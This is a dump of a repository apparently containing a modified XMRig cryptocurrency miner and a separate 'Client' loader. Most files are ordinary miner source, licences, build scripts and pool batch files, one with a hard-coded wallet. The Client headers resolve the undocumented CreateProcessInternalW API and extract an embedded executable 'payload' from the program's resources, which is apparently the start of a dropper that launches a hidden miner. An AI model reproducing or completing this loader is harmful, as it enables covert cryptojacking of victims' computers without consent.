Option definition 7 | #### Config file: 8 | ```json 9 | { 10 | ... 11 | "cpu": { 12 | "max-threads-hint": 100, 13 | ... 14 | }, 15 | ... 16 | } 17 | ``` 18 | 19 | #### Command line 20 | `--cpu-max-threads-hint 100` 21 | 22 | ### Known issues and usage 23 | 24 | * This option has no effect if miner already generated CPU configuration, to prevent config generation use `"autosave":false,`. 25 | * Only threads count can be changed, for 1 core CPU this option has no effect, for 2 core CPU only 2 values possible 50% and 100%, for 4 cores: 25%, 50%, 75%, 100%. etc. 26 | * You CPU may limited by other factors, eg cache. 27 | -------------------------------------------------------------------------------- /Modified XMRig/src/crypto/randomx/blake2/avx2/blake2.h: -------------------------------------------------------------------------------- 1 | #ifndef BLAKE2_AVX2_BLAKE2_H 2 | #define BLAKE2_AVX2_BLAKE2_H 3 | 4 | #if !defined(__cplusplus) && (!defined(__STDC_VERSION__) || __STDC_VERSION__ < 199901L) 5 | #if defined(_MSC_VER) 6 | #define INLINE __inline 7 | #elif defined(__GNUC__) 8 | #define INLINE __inline__ 9 | #else 10 | #define INLINE 11 | #endif 12 | #else 13 | #define INLINE inline 14 | #endif 15 | 16 | #if defined(_MSC_VER) 17 | #define ALIGN(x) __declspec(align(x)) 18 | #else 19 | #define ALIGN(x) __attribute__((aligned(x))) 20 | #endif 21 | 22 | enum blake2s_constant { 23 | BLAKE2S_BLOCKBYTES = 64, 24 | BLAKE2S_OUTBYTES = 32, 25 | BLAKE2S_KEYBYTES = 32, 26 | BLAKE2S_SALTBYTES = 8, 27 | BLAKE2S_PERSONALBYTES = 8 28 | }; 29 | 30 | enum blake2b_constant { 31 | BLAKE2B_BLOCKBYTES = 128, 32 | BLAKE2B_OUTBYTES = 64, 33 | BLAKE2B_KEYBYTES = 64, 34 | BLAKE2B_SALTBYTES = 16, 35 | BLAKE2B_PERSONALBYTES = 16 36 | }; 37 | 38 | #endif 39 | -------------------------------------------------------------------------------- /Modified XMRig/src/crypto/randomx/asm/program_sshash_avx2_loop_begin.inc: -------------------------------------------------------------------------------- 1 | ;# prefetch RandomX dataset lines 2 | prefetchnta byte ptr [rsi] 3 | prefetchnta byte ptr [rsi+64] 4 | prefetchnta byte ptr [rsi+128] 5 | prefetchnta byte ptr [rsi+192] 6 | prefetchnta byte ptr [rsi+256] 7 | 8 | ;# prefetch RandomX cache lines 9 | mov rbx, rbp 10 | and rbx, RANDOMX_CACHE_MASK 11 | shl rbx, 6 12 | add rbx, rdi 13 | prefetchnta byte ptr [rbx] 14 | lea rax, [rbp+1] 15 | and rax, RANDOMX_CACHE_MASK 16 | shl rax, 6 17 | add rax, rdi 18 | prefetchnta byte ptr [rax] 19 | mov [rsp], rax 20 | lea rax, [rbp+2] 21 | and rax, RANDOMX_CACHE_MASK 22 | shl rax, 6 23 | add rax, rdi 24 | prefetchnta byte ptr [rax] 25 | mov [rsp+8], rax 26 | lea rax, [rbp+3] 27 | and rax, RANDOMX_CACHE_MASK 28 | shl rax, 6 29 | add rax, rdi 30 | prefetchnta byte ptr [rax] 31 | mov [rsp+16], rax 32 | lea rax, [rbp+4] 33 | and rax, RANDOMX_CACHE_MASK 34 | shl rax, 6 35 | add rax, rdi 36 | prefetchnta byte ptr [rax] 37 | mov [rsp+24], rax 38 | -------------------------------------------------------------------------------- /Modified XMRig/res/app.rc: -------------------------------------------------------------------------------- 1 | #include 2 | #include "../src/version.h" 3 | 4 | 101 ICON "app.ico" 5 | 6 | VS_VERSION_INFO VERSIONINFO 7 | FILEVERSION APP_VER_MAJOR,APP_VER_MINOR,APP_VER_PATCH,0 8 | PRODUCTVERSION APP_VER_MAJOR,APP_VER_MINOR,APP_VER_PATCH,0 9 | FILEFLAGSMASK 0x3fL 10 | #ifdef _DEBUG 11 | FILEFLAGS VS_FF_DEBUG 12 | #else 13 | FILEFLAGS 0x0L 14 | #endif 15 | FILEOS VOS__WINDOWS32 16 | FILETYPE VFT_APP 17 | FILESUBTYPE 0x0L 18 | BEGIN 19 | BLOCK "StringFileInfo" 20 | BEGIN 21 | BLOCK "000004b0" 22 | BEGIN 23 | VALUE "CompanyName", APP_SITE 24 | VALUE "FileDescription", APP_DESC 25 | VALUE "FileVersion", APP_VERSION 26 | VALUE "LegalCopyright", APP_COPYRIGHT 27 | VALUE "OriginalFilename", "xmrig.exe" 28 | VALUE "ProductName", APP_NAME 29 | VALUE "ProductVersion", APP_VERSION 30 | END 31 | END 32 | BLOCK "VarFileInfo" 33 | BEGIN 34 | VALUE "Translation", 0x0, 1200 35 | END 36 | END 37 | 38 | -------------------------------------------------------------------------------- /Modified XMRig/src/hw/dmi/dmi.cmake: -------------------------------------------------------------------------------- 1 | if (WITH_DMI AND (XMRIG_OS_WIN OR XMRIG_OS_LINUX OR XMRIG_OS_FREEBSD OR (XMRIG_OS_MACOS AND NOT XMRIG_ARM))) 2 | set(WITH_DMI ON) 3 | else() 4 | set(WITH_DMI OFF) 5 | endif() 6 | 7 | if (WITH_DMI) 8 | add_definitions(/DXMRIG_FEATURE_DMI) 9 | 10 | list(APPEND HEADERS 11 | src/hw/dmi/DmiBoard.h 12 | src/hw/dmi/DmiMemory.h 13 | src/hw/dmi/DmiReader.h 14 | src/hw/dmi/DmiTools.h 15 | ) 16 | 17 | list(APPEND SOURCES 18 | src/hw/dmi/DmiBoard.cpp 19 | src/hw/dmi/DmiMemory.cpp 20 | src/hw/dmi/DmiReader.cpp 21 | src/hw/dmi/DmiTools.cpp 22 | ) 23 | 24 | if (XMRIG_OS_WIN) 25 | list(APPEND SOURCES src/hw/dmi/DmiReader_win.cpp) 26 | elseif(XMRIG_OS_LINUX OR XMRIG_OS_FREEBSD) 27 | list(APPEND SOURCES src/hw/dmi/DmiReader_unix.cpp) 28 | elseif(XMRIG_OS_MACOS) 29 | list(APPEND SOURCES src/hw/dmi/DmiReader_mac.cpp) 30 | endif() 31 | else() 32 | remove_definitions(/DXMRIG_FEATURE_DMI) 33 | endif() 34 | -------------------------------------------------------------------------------- /Client/include/kernel32_undoc.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | //don't forget to load functiond before use: 6 | //load_kernel32_functions(); 7 | // 8 | 9 | BOOL 10 | (WINAPI *CreateProcessInternalW)(HANDLE hToken, 11 | LPCWSTR lpApplicationName, 12 | LPWSTR lpCommandLine, 13 | LPSECURITY_ATTRIBUTES lpProcessAttributes, 14 | LPSECURITY_ATTRIBUTES lpThreadAttributes, 15 | BOOL bInheritHandles, 16 | DWORD dwCreationFlags, 17 | LPVOID lpEnvironment, 18 | LPCWSTR lpCurrentDirectory, 19 | LPSTARTUPINFOW lpStartupInfo, 20 | LPPROCESS_INFORMATION lpProcessInformation, 21 | PHANDLE hNewToken 22 | ); 23 | 24 | 25 | BOOL load_kernel32_functions() 26 | { 27 | HMODULE hKernel32 = GetModuleHandleA("kernel32"); 28 | CreateProcessInternalW = (BOOL(WINAPI *)(HANDLE, LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION, PHANDLE)) GetProcAddress(hKernel32, "CreateProcessInternalW"); 29 | if (CreateProcessInternalW == NULL) return FALSE; 30 | 31 | return TRUE; 32 | } 33 | -------------------------------------------------------------------------------- /Client/include/embedded_resource.h: -------------------------------------------------------------------------------- 1 | // embedded_resource.h 2 | #pragma once 3 | #include 4 | #include 5 | #include 6 | #include "resources.h" // Include the resource IDs 7 | #include 8 | 9 | void LoadEmbeddedExe(BYTE*& payloadBuf, size_t& payloadSize) { 10 | HMODULE hModule = GetModuleHandle(nullptr); 11 | if (!hModule) throw std::runtime_error("Failed to get module handle."); 12 | 13 | HRSRC hRes = FindResource(hModule, MAKEINTRESOURCE(EMBEDDED_EXE), RT_RCDATA); 14 | if (!hRes) throw std::runtime_error("Failed to find resource."); 15 | 16 | HGLOBAL hResData = LoadResource(hModule, hRes); 17 | if (!hResData) throw std::runtime_error("Failed to load resource."); 18 | 19 | LPVOID pData = LockResource(hResData); 20 | if (!pData) throw std::runtime_error("Failed to lock resource."); 21 | 22 | DWORD size = SizeofResource(hModule, hRes); 23 | if (size == 0) throw std::runtime_error("Resource size is zero."); 24 | 25 | payloadBuf = new BYTE[size]; 26 | memcpy(payloadBuf, pData, size); 27 | payloadSize = static_cast(size); // safe cast 28 | } -------------------------------------------------------------------------------- /Modified XMRig/scripts/pool_mine_example.cmd: -------------------------------------------------------------------------------- 1 | :: Example batch file for mining Monero at a pool 2 | :: 3 | :: Format: 4 | :: xmrig.exe -o : -u -p 5 | :: 6 | :: Fields: 7 | :: pool address The host name of the pool stratum or its IP address, for example pool.hashvault.pro 8 | :: pool port The port of the pool's stratum to connect to, for example 3333. Check your pool's getting started page. 9 | :: pool username/wallet For most pools, this is the wallet address you want to mine to. Some pools require a username 10 | :: pool password For most pools this can be just 'x'. For pools using usernames, you may need to provide a password as configured on the pool. 11 | :: 12 | :: List of Monero mining pools: 13 | :: https://miningpoolstats.stream/monero 14 | :: 15 | :: Choose pools outside of top 5 to help Monero network be more decentralized! 16 | :: Smaller pools also often have smaller fees/payout limits. 17 | 18 | cd /d "%~dp0" 19 | xmrig.exe -o xmrpool.eu:3333 -u 48edfHu7V9Z84YzzMa6fUueoELZ9ZRXq9VetWzYGzKt52XU5xvqgzYnDK9URnRoJMk1j8nLwEVsaSWJ4fhdUyZijBGUicoD -p x 20 | pause 21 | -------------------------------------------------------------------------------- /Modified XMRig/src/crypto/randomx/asm/program_prologue_linux.inc: -------------------------------------------------------------------------------- 1 | ;# callee-saved registers - System V AMD64 ABI 2 | push rbx 3 | push rbp 4 | push r12 5 | push r13 6 | push r14 7 | push r15 8 | 9 | ;# function arguments 10 | mov rbx, rcx ;# loop counter 11 | push rdi ;# RegisterFile& registerFile 12 | mov rcx, rdi 13 | mov rbp, qword ptr [rsi] ;# "mx", "ma" 14 | mov rdi, qword ptr [rsi+8] ;# uint8_t* dataset 15 | 16 | ;# dataset prefetch for the first iteration of the main loop 17 | mov rax, rbp 18 | shr rax, 32 19 | and eax, RANDOMX_DATASET_BASE_MASK 20 | prefetchnta byte ptr [rdi+rax] 21 | 22 | mov rsi, rdx ;# uint8_t* scratchpad 23 | 24 | mov rax, rbp 25 | ror rbp, 32 26 | 27 | ;# zero integer registers 28 | xor r8, r8 29 | xor r9, r9 30 | xor r10, r10 31 | xor r11, r11 32 | xor r12, r12 33 | xor r13, r13 34 | xor r14, r14 35 | xor r15, r15 36 | 37 | ;# load constant registers 38 | lea rcx, [rcx+120] 39 | movapd xmm8, xmmword ptr [rcx+72] 40 | movapd xmm9, xmmword ptr [rcx+88] 41 | movapd xmm10, xmmword ptr [rcx+104] 42 | movapd xmm11, xmmword ptr [rcx+120] 43 | -------------------------------------------------------------------------------- /Modified XMRig/src/3rdparty/argon2/LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2016 Ondrej Mosnáček 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Modified XMRig/src/base/tools/Span.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2018-2021 SChernykh 3 | * Copyright (c) 2016-2021 XMRig , 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | #ifndef XMRIG_SPAN_H 20 | #define XMRIG_SPAN_H 21 | 22 | 23 | #include "3rdparty/epee/span.h" 24 | 25 | 26 | namespace xmrig { 27 | 28 | 29 | using Span = epee::span; 30 | 31 | 32 | } /* namespace xmrig */ 33 | 34 | 35 | #endif /* XMRIG_SPAN_H */ 36 | -------------------------------------------------------------------------------- /Modified XMRig/src/base/kernel/Process_win.cpp: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2018-2020 SChernykh 3 | * Copyright (c) 2016-2020 XMRig , 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | 20 | #include 21 | 22 | 23 | #include "base/kernel/Process.h" 24 | 25 | 26 | int xmrig::Process::pid() 27 | { 28 | # if UV_VERSION_HEX >= 0x011200 29 | return uv_os_getpid(); 30 | # else 31 | return GetCurrentProcessId(); 32 | # endif 33 | } 34 | -------------------------------------------------------------------------------- /Modified XMRig/src/Summary.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2018-2022 SChernykh 3 | * Copyright (c) 2016-2022 XMRig 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | #ifndef XMRIG_SUMMARY_H 20 | #define XMRIG_SUMMARY_H 21 | 22 | 23 | namespace xmrig { 24 | 25 | 26 | class Controller; 27 | 28 | 29 | class Summary 30 | { 31 | public: 32 | static void print(Controller *controller); 33 | }; 34 | 35 | 36 | } // namespace xmrig 37 | 38 | 39 | #endif /* XMRIG_SUMMARY_H */ 40 | -------------------------------------------------------------------------------- /Modified XMRig/src/base/tools/Buffer.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2018-2020 SChernykh 3 | * Copyright (c) 2016-2020 XMRig , 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | #ifndef XMRIG_BUFFER_H 20 | #define XMRIG_BUFFER_H 21 | 22 | 23 | #include 24 | #include 25 | 26 | 27 | namespace xmrig { 28 | 29 | 30 | using Buffer = std::vector; 31 | 32 | 33 | } /* namespace xmrig */ 34 | 35 | 36 | #endif /* XMRIG_BUFFER_H */ 37 | -------------------------------------------------------------------------------- /Modified XMRig/src/3rdparty/llhttp/LICENSE-MIT: -------------------------------------------------------------------------------- 1 | This software is licensed under the MIT License. 2 | 3 | Copyright Fedor Indutny, 2018. 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a 6 | copy of this software and associated documentation files (the 7 | "Software"), to deal in the Software without restriction, including 8 | without limitation the rights to use, copy, modify, merge, publish, 9 | distribute, sublicense, and/or sell copies of the Software, and to permit 10 | persons to whom the Software is furnished to do so, subject to the 11 | following conditions: 12 | 13 | The above copyright notice and this permission notice shall be included 14 | in all copies or substantial portions of the Software. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS 17 | OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 18 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN 19 | NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, 20 | DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR 21 | OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE 22 | USE OR OTHER DEALINGS IN THE SOFTWARE. 23 | -------------------------------------------------------------------------------- /Modified XMRig/src/base/kernel/Process_unix.cpp: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2018-2020 SChernykh 3 | * Copyright (c) 2016-2020 XMRig , 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | 20 | #include 21 | #include 22 | 23 | 24 | #include "base/kernel/Process.h" 25 | 26 | 27 | int xmrig::Process::pid() 28 | { 29 | # if UV_VERSION_HEX >= 0x011200 30 | return uv_os_getpid(); 31 | # else 32 | return getpid(); 33 | # endif 34 | } 35 | -------------------------------------------------------------------------------- /Modified XMRig/src/backend/opencl/cl/kawpow/defs.h: -------------------------------------------------------------------------------- 1 | #ifdef cl_clang_storage_class_specifiers 2 | #pragma OPENCL EXTENSION cl_clang_storage_class_specifiers : enable 3 | #endif 4 | 5 | #ifndef GROUP_SIZE 6 | #define GROUP_SIZE 256 7 | #endif 8 | #define GROUP_SHARE (GROUP_SIZE / 16) 9 | 10 | typedef unsigned int uint32_t; 11 | typedef unsigned long uint64_t; 12 | #define ROTL32(x, n) rotate((x), (uint32_t)(n)) 13 | #define ROTR32(x, n) rotate((x), (uint32_t)(32-n)) 14 | 15 | #define PROGPOW_LANES 16 16 | #define PROGPOW_REGS 32 17 | #define PROGPOW_DAG_LOADS 4 18 | #define PROGPOW_CACHE_WORDS 4096 19 | #define PROGPOW_CNT_DAG 64 20 | #define PROGPOW_CNT_MATH 18 21 | 22 | #define OPENCL_PLATFORM_UNKNOWN 0 23 | #define OPENCL_PLATFORM_NVIDIA 1 24 | #define OPENCL_PLATFORM_AMD 2 25 | #define OPENCL_PLATFORM_CLOVER 3 26 | 27 | #ifndef MAX_OUTPUTS 28 | #define MAX_OUTPUTS 63U 29 | #endif 30 | 31 | #ifndef PLATFORM 32 | #ifdef cl_amd_media_ops 33 | #define PLATFORM OPENCL_PLATFORM_AMD 34 | #else 35 | #define PLATFORM OPENCL_PLATFORM_UNKNOWN 36 | #endif 37 | #endif 38 | 39 | #define HASHES_PER_GROUP (GROUP_SIZE / PROGPOW_LANES) 40 | 41 | #define FNV_PRIME 0x1000193 42 | #define FNV_OFFSET_BASIS 0x811c9dc5 43 | -------------------------------------------------------------------------------- /Modified XMRig/src/base/tools/Baton.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2018-2020 SChernykh 3 | * Copyright (c) 2016-2020 XMRig , 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | #ifndef XMRIG_BATON_H 20 | #define XMRIG_BATON_H 21 | 22 | 23 | namespace xmrig { 24 | 25 | 26 | template 27 | class Baton 28 | { 29 | public: 30 | inline Baton() { req.data = this; } 31 | 32 | REQ req; 33 | }; 34 | 35 | 36 | } /* namespace xmrig */ 37 | 38 | 39 | #endif /* XMRIG_BATON_H */ 40 | -------------------------------------------------------------------------------- /Modified XMRig/src/base/kernel/constants.h: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2018-2020 SChernykh 3 | * Copyright (c) 2016-2020 XMRig , 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | #ifndef XMRIG_CONSTANTS_H 20 | #define XMRIG_CONSTANTS_H 21 | 22 | 23 | #include 24 | #include 25 | 26 | 27 | constexpr size_t XMRIG_NET_BUFFER_CHUNK_SIZE = 64 * 1024; 28 | constexpr size_t XMRIG_NET_BUFFER_INIT_CHUNKS = 4; 29 | 30 | 31 | #endif /* XMRIG_CONSTANTS_H */ 32 | -------------------------------------------------------------------------------- /Modified XMRig/bin/WinRing0/LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2007-2009 OpenLibSys.org. All rights reserved. 2 | 3 | Redistribution and use in source and binary forms, with or without 4 | modification, are permitted provided that the following conditions 5 | are met: 6 | 1. Redistributions of source code must retain the above copyright 7 | notice, this list of conditions and the following disclaimer. 8 | 2. Redistributions in binary form must reproduce the above copyright 9 | notice, this list of conditions and the following disclaimer in the 10 | documentation and/or other materials provided with the distribution. 11 | 12 | THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR 13 | IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES 14 | OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 15 | IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, 16 | INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 17 | NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 18 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 19 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 20 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF 21 | THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -------------------------------------------------------------------------------- /Modified XMRig/scripts/rtm_ghostrider_example.cmd: -------------------------------------------------------------------------------- 1 | :: Example batch file for mining Raptoreum at a pool 2 | :: 3 | :: Format: 4 | :: xmrig.exe -a gr -o : -u -p 5 | :: 6 | :: Fields: 7 | :: pool address The host name of the pool stratum or its IP address, for example raptoreumemporium.com 8 | :: pool port The port of the pool's stratum to connect to, for example 3333. Check your pool's getting started page. 9 | :: pool username/wallet For most pools, this is the wallet address you want to mine to. Some pools require a username 10 | :: pool password For most pools this can be just 'x'. For pools using usernames, you may need to provide a password as configured on the pool. 11 | :: 12 | :: List of Raptoreum mining pools: 13 | :: https://miningpoolstats.stream/raptoreum 14 | :: 15 | :: Choose pools outside of top 5 to help Raptoreum network be more decentralized! 16 | :: Smaller pools also often have smaller fees/payout limits. 17 | 18 | cd /d "%~dp0" 19 | :: Use this command line to connect to non-SSL port 20 | xmrig.exe -a gr -o raptoreumemporium.com:3008 -u WALLET_ADDRESS -p x 21 | :: Or use this command line to connect to an SSL port 22 | :: xmrig.exe -a gr -o rtm.suprnova.cc:4273 --tls -u WALLET_ADDRESS -p x 23 | pause 24 | -------------------------------------------------------------------------------- /Modified XMRig/src/3rdparty/hwloc/include/private/solaris-chiptype.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright © 2009-2010 Oracle and/or its affiliates. All rights reserved. 3 | * 4 | * Copyright © 2017 Inria. All rights reserved. 5 | * $COPYRIGHT$ 6 | * 7 | * Additional copyrights may follow 8 | * 9 | * $HEADER$ 10 | */ 11 | 12 | 13 | #ifdef HWLOC_INSIDE_PLUGIN 14 | /* 15 | * these declarations are internal only, they are not available to plugins 16 | * (functions below are internal static symbols). 17 | */ 18 | #error This file should not be used in plugins 19 | #endif 20 | 21 | 22 | #ifndef HWLOC_PRIVATE_SOLARIS_CHIPTYPE_H 23 | #define HWLOC_PRIVATE_SOLARIS_CHIPTYPE_H 24 | 25 | struct hwloc_solaris_chip_info_s { 26 | char *model; 27 | char *type; 28 | /* L1i, L1d, L2, L3 */ 29 | #define HWLOC_SOLARIS_CHIP_INFO_L1I 0 30 | #define HWLOC_SOLARIS_CHIP_INFO_L1D 1 31 | #define HWLOC_SOLARIS_CHIP_INFO_L2I 2 32 | #define HWLOC_SOLARIS_CHIP_INFO_L2D 3 33 | #define HWLOC_SOLARIS_CHIP_INFO_L3 4 34 | long cache_size[5]; /* cleared to -1 if we don't want of that cache */ 35 | unsigned cache_linesize[5]; 36 | unsigned cache_associativity[5]; 37 | int l2_unified; 38 | }; 39 | 40 | /* fills the structure with 0 on error */ 41 | extern void hwloc_solaris_get_chip_info(struct hwloc_solaris_chip_info_s *info); 42 | 43 | #endif /* HWLOC_PRIVATE_SOLARIS_CHIPTYPE_H */ 44 | -------------------------------------------------------------------------------- /Modified XMRig/src/crypto/randomx/asm/program_sshash_avx2_loop_end.inc: -------------------------------------------------------------------------------- 1 | mov qword ptr [rsi+0], r8 2 | vpunpcklqdq ymm8, ymm0, ymm1 3 | mov qword ptr [rsi+8], r9 4 | vpunpcklqdq ymm9, ymm2, ymm3 5 | mov qword ptr [rsi+16], r10 6 | vpunpcklqdq ymm10, ymm4, ymm5 7 | mov qword ptr [rsi+24], r11 8 | vpunpcklqdq ymm11, ymm6, ymm7 9 | mov qword ptr [rsi+32], r12 10 | vpunpckhqdq ymm12, ymm0, ymm1 11 | mov qword ptr [rsi+40], r13 12 | vpunpckhqdq ymm13, ymm2, ymm3 13 | mov qword ptr [rsi+48], r14 14 | vpunpckhqdq ymm14, ymm4, ymm5 15 | mov qword ptr [rsi+56], r15 16 | vpunpckhqdq ymm15, ymm6, ymm7 17 | 18 | vperm2i128 ymm0, ymm8, ymm9, 32 19 | vperm2i128 ymm1, ymm10, ymm11, 32 20 | vmovdqu ymmword ptr [rsi+64], ymm0 21 | vmovdqu ymmword ptr [rsi+96], ymm1 22 | vperm2i128 ymm2, ymm12, ymm13, 32 23 | vperm2i128 ymm3, ymm14, ymm15, 32 24 | vmovdqu ymmword ptr [rsi+128], ymm2 25 | vmovdqu ymmword ptr [rsi+160], ymm3 26 | vperm2i128 ymm4, ymm8, ymm9, 49 27 | vperm2i128 ymm5, ymm10, ymm11, 49 28 | vmovdqu ymmword ptr [rsi+192], ymm4 29 | vmovdqu ymmword ptr [rsi+224], ymm5 30 | vperm2i128 ymm6, ymm12, ymm13, 49 31 | vperm2i128 ymm7, ymm14, ymm15, 49 32 | vmovdqu ymmword ptr [rsi+256], ymm6 33 | vmovdqu ymmword ptr [rsi+288], ymm7 34 | 35 | add rbp, 5 36 | add rsi, 320 37 | cmp rbp, qword ptr [rsp+40] 38 | db 15, 130, 0, 0, 0, 0 ;# jb rel32 39 | -------------------------------------------------------------------------------- /Modified XMRig/src/backend/common/Worker.cpp: -------------------------------------------------------------------------------- 1 | /* XMRig 2 | * Copyright (c) 2018-2020 SChernykh 3 | * Copyright (c) 2016-2020 XMRig , 4 | * 5 | * This program is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 3 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * This program is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with this program. If not, see . 17 | */ 18 | 19 | 20 | #include "backend/common/Worker.h" 21 | #include "base/kernel/Platform.h" 22 | #include "crypto/common/VirtualMemory.h" 23 | 24 | 25 | xmrig::Worker::Worker(size_t id, int64_t affinity, int priority) : 26 | m_affinity(affinity), 27 | m_id(id) 28 | { 29 | m_node = 